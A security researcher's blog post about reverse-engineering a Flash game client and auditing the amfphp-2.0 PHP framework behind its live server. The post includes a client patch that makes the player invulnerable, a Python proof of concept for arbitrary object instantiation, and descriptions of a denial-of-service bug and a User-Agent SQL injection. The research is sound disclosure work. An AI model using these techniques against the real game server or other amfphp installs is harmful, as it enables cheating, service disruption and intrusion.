Reversing a 14 year-old Flash game & finding vulnerabilities in a php framework

Lately I’m so lazy and starts playing video games instead of learning new security stuff.

Suddenly, I tried to find 1 of my childhood game called ‘Ninja Saga’, a game on Facebook and apparently now it is closed.

Ninja Saga wall paper

However, there is a small group that tried re-creating the game and renamed it to ‘Ninja Legend’ on https://www.ninjalegends.net/ . So I tried downloading it and play to feel the nostalgia. However, I stumpled on a boss that I couldn’t beat. After 15 minutes trying to beat the boss with no success, I was frustrated ! Hence, as a sane person, I tried to view the source code of the game to see if I can change/mod something of my character to beat the boss.

Notice: this whole blog post is about my experience I had when I tried my first time into game reversing, I did not try to abuse these bugs to gain money or take advantages on any user/groups during the journey. For readers, please use this blog post for educational purpose only.

Decompile the game

Upon opening the game folder, I tried to decompile Ninja Legends.exe using IDA but found nothing related to the game.

Ninja Saga source

So I tried googling different file extensions inside that folder, one of that is the file NinjaLegends.swf.

An SWF file is an animation that may contain text, vector and raster graphics, and interactive content written in ActionScript.

Bingo !!! So I quickly google how to decompile swf file because it is a binary file.

Multiple decompilers appeared, but the JPEXS Free Flash Decompiler was recommended the most on Google.

I downloaded and tried to use JPEXS decompiler. Overall, it has simple interface and straightforward UX.

My impression is that the decompiled code is not obfuscated and the ActionScript looks a lot like Typescript. There is also a Edit ActionScript button at the bottom that allow us to patch directly into the swf file.

Thus, I looked for codes that is related to the game’s battling system and came accross the function updateHealthBar and put in a code that updates my current_hp equal to max_hp whenever the game tried to update my character’s health:

public function updateHealthBar() : *
    {
        var _loc1_:* = this.getMovieClipHolder();
        _loc1_.hpBar.scaleX = this.current_hp / this.max_hp;
        if(this.player_team == "player" && this.player_number == 0)
        {
            // This is my code
            this.current_hp = this.max_hp;
            this.current_cp = this.max_cp;
            // End of my code
            BattleManager.getBattle()["char_hpcp"].txt_hp.text = this.current_hp + "/" + this.max_hp;
            BattleManager.getBattle()["char_hpcp"].txt_cp.text = this.current_cp + "/" + this.max_cp;
            BattleManager.getBattle()["char_hpcp"].hpBar.scaleX = this.current_hp / this.max_hp;
            BattleManager.getBattle()["char_hpcp"].cpBar.scaleX = this.current_cp / this.max_cp;
        }
    }

After this, I saved the file and hop into the game to check if my patched code worked or not. And here is the result:

After enemy attacks and when it is my turn, my health and mana automatically reach max again. So if there is no move that could kill me in 1 turn, I’m basically immortal 😁.

And after the battle, the game shows that I have successfully finished the mission and my character’s EXP increase !

Wait a minute, the game didn’t track the battle’s state whether the battle’s state was appropriate or not. If the server checked then it must have alerted the client and the server’s state are out of sync, because my character automatically replenish HP/MP during the fight.

This caught my attention and I tried looking further more into the game itself.

Game’s feature

Before diving into the reversing I want to list out some of the game’s feature.

Character’s Stats

The game took place like in Naruto, where you’re a Ninja and you can learn 1 or 2 types of NinJutsu which are: Wind, Fire, Lightning, Water, Earth. Each level up you can increase 1 stat point, each stat point when allocated boost your character’s strength like below:

Wind - 1 point gives:

Wind icon

  • +0.4% Dodge or chance that an attack will miss you.
  • +1 Agility. The player with the highest agility will act first.
  • +1% Damage bonus to Wind Ninjutsu.

Fire - 1 point gives:

Fire icon

  • +0.4% Damage to ALL damaging moves.
  • +0.4% chance of Comburstion buff: next attack on next turn will have +30% damage bonus
  • +1% Damage bonus to Fire Ninjutsu.

Lightning - 1 point gives:

Lightning icon

  • +0.4% Critical chance: critical attack deals 150% damage based on the normal damage.
  • +0.8% bonus damage to Critical strikes
  • +1% Damage bonus to Lightning Ninjutsu.

Water - 1 point gives:

Water icon

  • +30 CP (chakra point)
  • +0.4% Purify chance: purify remove all your character’s negative effect.
  • +1% Damage bonus to Water Ninjutsu.

Earth - 1 point gives:

Earth icon

  • +30 HP
  • +0.4% chance to reflect damage back to the attacker (Reactive Force).
  • +1% Damage bonus to Earth Ninjutsu.

Missions

  • You can go to mission room and complete missions for EXP.

  • You can challenge daily bosses that drops useful items to craft in Blacksmith store.

  • There are long-term events, which is also many types of bosses that drops useful items related to the current running event.

  • Online PVP among players.

  • Join clans.

Reversing & breaking the game

In the last section I’ve demonstrated how to become immortal in the battle system. Further code investigation also allow me to:

  • Modify dodge / comburstion / critical / purify / reactive force chance
  • Modify damage
  • Modify inflict status
  • Immortal

So basically I’ve done pwning the battle system. Apart from the battling system, the game also maintain server’s state for: user’s money, user’s token (real money P2W), character’s levels, account’s equipments & items, weapon and item drops from monsters, etc.

In order for the game to communicate with the server, it uses 4 different network classes:

ArenaNetwork:

class ArenaNetwork {
    public var TCP_IP:String = "68.183.216.145";
    public var TCP_PORT:Number = 6060;
    ...
}

I don’t see it uses anywhere so let’s skip this

PvpNetwork:

class PvpNetwork {
    public var TCP_IP:String = "68.183.216.145";
    public var TCP_PORT:Number = 6060;
    ...
}

There are some methods that send request and get response from server when we attempt to PVP.

SummerNetwork:

public class SummerNetwork {
    public var TCP_IP:String = "68.183.216.145";
    public var TCP_PORT:Number = 7000;
    ...
}

For the running Summer Event, that has unique bosses & items drop.

amfConnect:

   import flash.events.NetStatusEvent;
   import flash.net.NetConnection;
   import flash.net.Responder;

   public class AmfManager {
      public function service(param1:String, param2:Array, param3:Function) : *
      {
         new amfConnect().service(param1,param2,param3);
      }
   }

   public class amfConnect
      public function service(param1:String, param2:Array, param3:Function) : void
      {
         this.remotingGateway = "https://playninjalegends.com/amf_nl/";
         this.netConnect = new NetConnection();
         this.netConnect.connect(this.remotingGateway);
         this.netConnect.call(param1,new Responder(param3,this.erroneousResult),param2);
      }

This one is interesting, many features of the game uses this class like this:

  • amf_manager.service("CharacterService.buySkill", ...);
  • amf_manager.service("BattlePass.executeService", ...);
  • amf_manager.service("SystemLogin.getAllCharacters", ...);
  • amf_manager.service("ClanService.executeService", ...);
  • Over 30 places use amf_manager, so this is the main entrypoint into the game’s server.

The mission room

The main objective to reverse this feature is that I want to auto-complete mission and gain levels as fast as possible.

Below is the decompiled code when we try to do a mission:

this.main.amf_manager = new AmfManager(this);

// I don't know why they named it startFight
internal function startFight(param1:MouseEvent) : *
      {
         var _loc3_:* = undefined;
         var _loc4_:* = undefined;
         var _loc5_:* = undefined;
         var _loc6_:* = undefined;
         var _loc7_:* = undefined;
         var _loc8_:* = undefined;
         var _loc2_:* = MissionLibrary.getMissionInfo("msn_" + this.curr_target);
         Character.mission_level = int(_loc2_["msn_level"]);
         if(int(Character.character_lvl) >= int(_loc2_["msn_level"]))
         {
            _loc3_ = "";
            _loc4_ = "";
            _loc5_ = StatManager.calculate_stats_with_data("agility",Character.character_lvl,Character.atrrib_earth,Character.atrrib_water,Character.atrrib_wind,Character.atrrib_lightning);
            _loc6_ = 0;
            while(_loc6_ < _loc2_["msn_enemy"].length)
            {
               _loc8_ = EnemyInfo.getEnemyStats(_loc2_["msn_enemy"][_loc6_]);
               if(_loc3_ == "")
               {
                  _loc3_ = _loc2_["msn_enemy"][_loc6_];
                  _loc4_ = "id:" + _loc8_["enemy_id"] + "|hp:" + _loc8_["enemy_hp"] + "|agility:" + _loc8_["enemy_agility"];
               }
               else
               {
                  _loc3_ = _loc3_ + "," + _loc2_["msn_enemy"][_loc6_];
                  _loc4_ = _loc4_ + "#id:" + _loc8_["enemy_id"] + "|hp:" + _loc8_["enemy_hp"] + "|agility:" + _loc8_["enemy_agility"];
               }
               _loc6_++;
            }
            this.main.loading(true);
            _loc7_ = CUCSG.hash(_loc3_ + _loc4_ + _loc5_);
            this.main.amf_manager.service("BattleSystem.startMission",[Character.char_id,Character.mission_id,_loc3_,_loc4_,_loc5_,_loc7_,Character.sessionkey],this.onStartMissionAmf);
         }
         _loc2_ = null;
      }

For lazy people, basically the code above will call amf_manager.service("BattleSystem.startMission", ARGS) where ARGS are:

  • arg[0] is our character’s character id into
  • arg[1] is the mission id
  • arg[2] and arg[3] is he enemies’s data which were loaded from MissionLibrary.getMissionInfo("msn_" + this.curr_target)
  • arg[4] is our character’s stat in _loc5_
  • arg[5] is CUCSG.hash calculated from our character’s stat and enemies’ stat. After digging deep into the CUCSG.hash, it is equivalent to applying sha256 hash and then hexify it.
  • arg[6] is our user’s session key.

Now I want to analyze how amf_manager.service("BattleSystem.startMission", ARGS); craft and send request packet, normally I would try to MITM this request through Burpsuite.

The first thing I did was to try searching if I can start the flash program with a proxy server. I got this idea because I have experience in proxying ElectronJS apps, something like: .\ElectronApp.exe --proxy-server=127.0.0.1:1234. So I thought it is a good idea if we can run the flash program something like: Flash.exe NinjaLegends.swf --proxy=127.0.0.1:1234, but I couldn’t find anything like that.

Because we can patch the program’s code, so the next thing I did was checking whether the documentation has any feature about proxying request for flash.net.NetConnection, but sadly it does not support proxy feature.

So I got another idea, instead of MITM the request, maybe I can send that request to another TCP server and try to analyze it. Thus, I patched the class amfConnect, adding an additional flow:

   public class amfConnect
        public function service(param1:String, param2:Array, param3:Function, toMyMachine:* = false) : void
      {
         if(!toMyMachine)
         {
            this.remotingGateway = "https://playninjalegends.com/amf_nl/";
            this.netConnect = new NetConnection();
            this.netConnect.connect(this.remotingGateway);
            this.netConnect.call(param1,new Responder(param3,this.erroneousResult),param2);
            this.service(param1,param2,param3,true);
         }
         else
         {
            this.remotingGateway = "http://mylocal.dev:7771/";
            this.netConnect = new NetConnection();
            this.netConnect.connect(this.remotingGateway);
            this.netConnect.call(param1,new Responder(param3,this.erroneousResult),param2);
         }
      }

The above modification still allow the game to behave like nothing happened, because toMyMachine is default to be false, and then after the game has sent the request to https://playninjalegends.com/amf_nl/, it also send the same request into http://mylocal.dev:7771 for further analysis.

Then, I update C:\Windows\System32\drivers\etc\hosts and point mylocal.dev into my linux machine IP. Inside the Linux, I only need to do a netcat listen, below is the result when I open the game.

Netcat listen success

Nice, we receive the request. Then, I tried messing with the request’s bytes, and I found something weird popped up:

Burp leak amf php

I also found that by changing the User-Agent to AdobeAIR/50.2, and navigate to https://playninjalegends.com/amf_nl/, we could see:

Ninja legend server

Pressing the source code button, it navigate us to https://github.com/silexlabs/amfphp-2.0.

Nice, now we have the source code of the server, we can look for server-side vulnerability and try gaining access to the server.

Analyzing amfphp-2.0

I clone the git repo and tried to setup a docker image with a xdebug to debug in VSCode. Note that the below analysis is for gaining RCE for https://playninjalegends.com/amf_nl/ which correspond to the folder https://github.com/silexlabs/amfphp-2.0/tree/master/Amfphp , I tried to navigate to other route like BackOffice, Examples, AmfphpFlexUnit but got no luck.

Below is how amfphp-2.0 receive and process the request:

First, the data we sent to the Ninja Legend server was received at this file:

$gateway = Amfphp_Core_HttpRequestGatewayFactory::createGateway();
$gateway->service();
$gateway->output();

Then, Amfphp_Core_HttpRequestGatewayFactory::createGateway() load user’s HTTP request from $_GET, $_POST, and file_get_contents('php://input'); at this file:

class Amfphp_Core_HttpRequestGatewayFactory {
   static protected function getRawPostData(){
      return file_get_contents('php://input');
   }
   static public function createGateway(Amfphp_Core_Config $config = null){
      $contentType = null;
      if(isset ($_GET['contentType'])){
         $contentType = $_GET['contentType'];
      }else if(isset ($_SERVER['CONTENT_TYPE'])){
         $contentType = $_SERVER['CONTENT_TYPE'];
      }
      $rawInputData = self::getRawPostData();
      return new Amfphp_Core_Gateway($_GET, $_POST, $rawInputData, $contentType, $config);
   }
}

Then, the code will reach this enormous function. However, the main points are:

$deserializedObject = {
   "serviceName": "TestService",
   "methodName": "testMethod",
   "parameters": [arg0, arg1, arg2, ...]
}

Then, the $deserializedObject will be handled here:

public function executeServiceCall($serviceName, $methodName, array $parameters) {
      $unfilteredServiceObject = $this->getServiceObject($serviceName);
      $serviceObject = Amfphp_Core_FilterManager::getInstance()->callFilters(
            self::FILTER_SERVICE_OBJECT,
            $unfilteredServiceObject,
            $serviceName,
            $methodName,
            $parameters,
      );
      ...
      return call_user_func_array(array($serviceObject, $methodName), $parameters);
}
public function getServiceObject($serviceName) {
      return self::getServiceObjectStatically($serviceName, $this->serviceFolders);
}
public static function getServiceObjectStatically($serviceName, array $serviceFolders) {
      ...
      $serviceObject = null;
      $temp = str_replace('.', '/', $serviceName);
      $serviceNameWithSlashes = str_replace('__', '/', $temp);
      $serviceIncludePath = $serviceNameWithSlashes . '.php';
      $exploded = explode('/', $serviceNameWithSlashes);
      $className = $exploded[count($exploded) - 1];
      //no class find info. try to look in the folders
      foreach ($serviceFolders as $folder) {
            $folderPath = NULL;
            $rootNamespace = NULL;
            if(is_array($folder)){
                  $rootNamespace = $folder[1];
                  $folderPath = $folder[0];
            } else {
                  $folderPath = $folder;
            }
            $servicePath = $folderPath . $serviceIncludePath;
            if (file_exists($servicePath)) {
                  require_once $servicePath;
                  if ($rootNamespace == NULL){
                        $serviceObject = new $className();
                  } else {
                        $namespacedClassName = $rootNamespace . '\\' . str_replace('/', '\\', $serviceNameWithSlashes);
                        $serviceObject = new $namespacedClassName;
                  }
            }
      }
      return $serviceObject;
}

For example when $serviceName = "TestService", $methodName = "testMethod";, the flow of the 3 functions above is:

  • First, function getServiceObjectStatically will try to find if there is a file at /Amfphp/Services/TestService.php, then it will initialize the class object at $serviceObject = new $className(); inside the TestService.php file.
  • Second, in function executeServiceCall will call_user_func_array(array($serviceObject, $methodName), $parameters), which execute the function testMethod with our input parameters.

Luckily the amfphp-2.0 has an ExampleService.php that we can mimic this behavior at https://github.com/silexlabs/amfphp-2.0/blob/master/Amfphp/Services/ExampleService.php . The image below demonstrate how I invoke the returnSum using application/json contentType: Invoke function in phpamf-2.0

Notice that the server has filtered the dot character ‘.’ at $temp = str_replace('.', '/', $serviceName) so I cannot path traversal the serviceName to gain RCE 😓.

Going back to the game

Thus, now I can write python script to automate the process of doing missions and completing missions. Below are 2 requests to do the mission and to complete the mission:

Start mission Game start mission

Finish mission Game finish mission

Thus, now I can automate anything using scripts, which is quite powerful. Now I could try finding bugs like SQL injections and stuff but I decided to stop because it would be illegal 😗.

Thus, I continue to dig deep into the amfphp-2.0 to see if there is any vulnerabilities for me to gain RCE.

Back to the application/x-amf deserialization

Inside the deserialization of application/x-amf, it will traverse bytes-to-bytes in the HTTP request’s body, the full implementation can be found here, below is a short explanation of mine:

// Initialize
$this->currentByte = 0;

protected function readByte() {
   return ord($this->rawData[$this->currentByte++]); // return the next byte
}

$type = $this->readByte();

public function readData($type) {
   switch ($type) {
      //amf3 is now most common, so start with that
      case 0x11: //Amf3-specific
            return $this->readAmf3Data();
            break;
      case 0: // number
            return $this->readDouble();
      case 1: // boolean
            return $this->readByte() == 1;
      case 2: // string
            return $this->readUTF();
      case 3: // object Object
            return $this->readObject();
      //ignore movie clip
      case 5: // null
            return null;
      case 6: // undefined
            return new Amfphp_Core_Amf_Types_Undefined();
      case 7: // Circular references are returned here
            return $this->readReference();
      case 8: // mixed array with numeric and string keys
            return $this->readMixedArray();
      case 9: //object end. not worth , TODO maybe some integrity checking
            return null;
      case 0X0A: // array
            return $this->readArray();
      case 0X0B: // date
            return $this->readDate();
      case 0X0C: // string, strlen(string) > 2^16
            return $this->readLongUTF();
      case 0X0D: // mainly internal AS objects
            return null;
      //ignore recordset
      case 0X0F: // XML
            return $this->readXml();
      case 0x10: // Custom Class
            return $this->readCustomClass();
      default: // unknown case
            throw new Amfphp_Core_Exception("Found unhandled type with code: $type");
            exit();
            break;
   }
   return $data;
}

protected function readAmf3Data() { ... }
protected function readDouble() { ... }
protected function readUTF() { ... }
protected function readObject() { ... }
protected function readArray() { ... }
protected function readDate() { ... }
protected function readLongUTF() { ... }
protected function readXml() { ... }
protected function readCustomClass() { ... }

Below are some bugs that I found when it deserialize with the x-amf format:

1) Denial of service via parsing array length:

In the readArray function:

protected function readArray() {
   $ret = array(); // init the array object
   $this->amf0storedObjects[] = & $ret;
   $length = $this->readLong(); // get the length  of the array
   for ($i = 0; $i < $length; $i++) { // loop over all of the elements in the data
      $type = $this->readByte(); // grab the type for each element
      $ret[] = $this->readData($type); // grab each element
   }
   return $ret; // return the data
}

First it read the array length using readLong, which is 4 bytes, and then it tries to for loop through the array. The user input length could be 4 billion and exhaust the server’s CPU when sending multiple concurrent requests

2) PHP Arbitrary Object Instantiations in default setup

In the readCustomClass function:

protected function readCustomClass() {
   //not really sure why the replace is here? A.S. 201310
   $typeIdentifier = str_replace('..', '', $this->readUTF());
   $obj = $this->resolveType($typeIdentifier);
   $this->amf0storedObjects[] = & $obj;
   $key = $this->readUTF(); // grab the key
   for ($type = $this->readByte(); $type != 9; $type = $this->readByte()) {
      $val = $this->readData($type); // grab the value
      $obj->$key = $val; // save the name/value pair in the array
      $key = $this->readUTF(); // get the next name
   }
   return $obj;
}

The user input flows into $typeIdentifier variable as a string via readUTF function. Then, $typeIdentifier if passed into $this->resolveType($typeIdentifier);. After that, in the default setup of amfphp-2.0, it will lead to the file AmfphpVoConverter.php as the variable $voName, which then gets:

public function getNewVoInstance($voName) {
   $fullyQualifiedClassName = $voName;
   ...
   if (class_exists($fullyQualifiedClassName, false)) {
      $vo = new $fullyQualifiedClassName();
      return $vo;
   } ...

Thus, user can Instantiate any class that existed in the system. The below PoC shows how it is done:

f = open("f.txt", "wb")

def genInt(num: int):
    return num.to_bytes(2, 'big')

def genLong(num: int):
    return num.to_bytes(4, 'big')

def genUtf8(text):
    l = len(text)
    return l.to_bytes(2, 'big') + text

def pad(len: int):
    return b'a'*len

# header
payload = b"\x00\x03" + genInt(1)
payload += genUtf8(b'Credentials') # header name
payload += b'\x01' + pad(4) # required and pad
payload += b'\x10' # type customClass
payload += genUtf8(b'stdClass')
payload += genUtf8(b'userid')
payload += b'\x02' + genUtf8(b'admin') + genUtf8(b'password')
payload += b'\x02' + genUtf8(b'password') + genUtf8(b'dump_key')
payload += b'\x09'

# message, 1 messages
payload += genInt(1)
payload += genUtf8(b'ExampleService.returnOneParam')
payload += genUtf8(b'response') + pad(4)

# This will cause server to call new PDO();
# which is error because it should have 1 param into the constructor
payload += b'\x0A' + genLong(1) + b'\x10' + genUtf8(b'PDO') + genUtf8(b'dump_key') + b'\x09'

f.write(payload)
f.close()

import os
os.system('curl -XPOST -H "Content-Type: application/x-amf" http://localhost:7771/Amfphp/ --data-binary "@f.txt" -x http://192.168.1.10:8080')

The server response: Image show PHP has instantiate object

3) INSERT INTO SQL injection in amfphp_updates.php

This vulnerability does not related to the Ninja Saga game but related to the amfphp-2.0 repository, so the scenario is that what would happen if the server admin mistakenly host the whole amfphp-2.0 repository ?

The SQL injection location is at: https://github.com/silexlabs/amfphp-2.0/blob/master/amfphp_updates.php#L21-L48

$dataToGetFromApache = array("GEOIP_COUNTRY_CODE", "GEOIP_COUNTRY_NAME", "GEOIP_REGION", "GEOIP_CITY", "GEOIP_DMA_CODE", "GEOIP_AREA_CODE", "HTTP_USER_AGENT", "HTTP_ACCEPT", "HTTP_ACCEPT_LANGUAGE", "HTTP_ACCEPT_ENCODING", "HTTP_ACCEPT_CHARSET", "REMOTE_ADDR");
$sqlConnection = mysql_connect(AMFPHP_DB_HOST,AMFPHP_DB_NAME, AMFPHP_DB_PASS);
mysql_set_charset("utf8");
if(!$sqlConnection){
      $mess = "result=error:" . mysql_error()."- request id:$request_id";
      throw new Exception($mess);
}
if(!mysql_select_db(AMFPHP_DB_TABLE, $sqlConnection)){
      $mess = "result=error:" . mysql_error()."- request id:$request_id";
      throw new Exception($mess);
}

$setString = "";
foreach($dataToGetFromApache as $infoType){
      if(isset($_SERVER[$infoType])){
            $setString = $setString . ", " . $infoType . " = '" . $_SERVER[$infoType] . "'";
      }
}

if(isset($_GET["backlink"])){
      $setString .= ", backlink = '" . mysql_real_escape_string($_GET["backlink"]) . "'";
}

//trim first ", "
$setString = substr($setString, 2);

$query = "INSERT INTO amfphp_updates_log SET " . $setString;
$ret = mysql_query($query, $sqlConnection);

Basically it read $_SERVER['HTTP_USER_AGENT'] and concatenate string into $query = "INSERT INTO amfphp_updates_log SET " . $setString; so we can trigger a SQL injection of INSERT keyword.

Last words

Even though I couldn’t find a RCE vulnerability in amfphp-2.0, it was a fun journey. This journey cost me a week, including writing out this blog post.

Thank you for reading and happy hacking !!!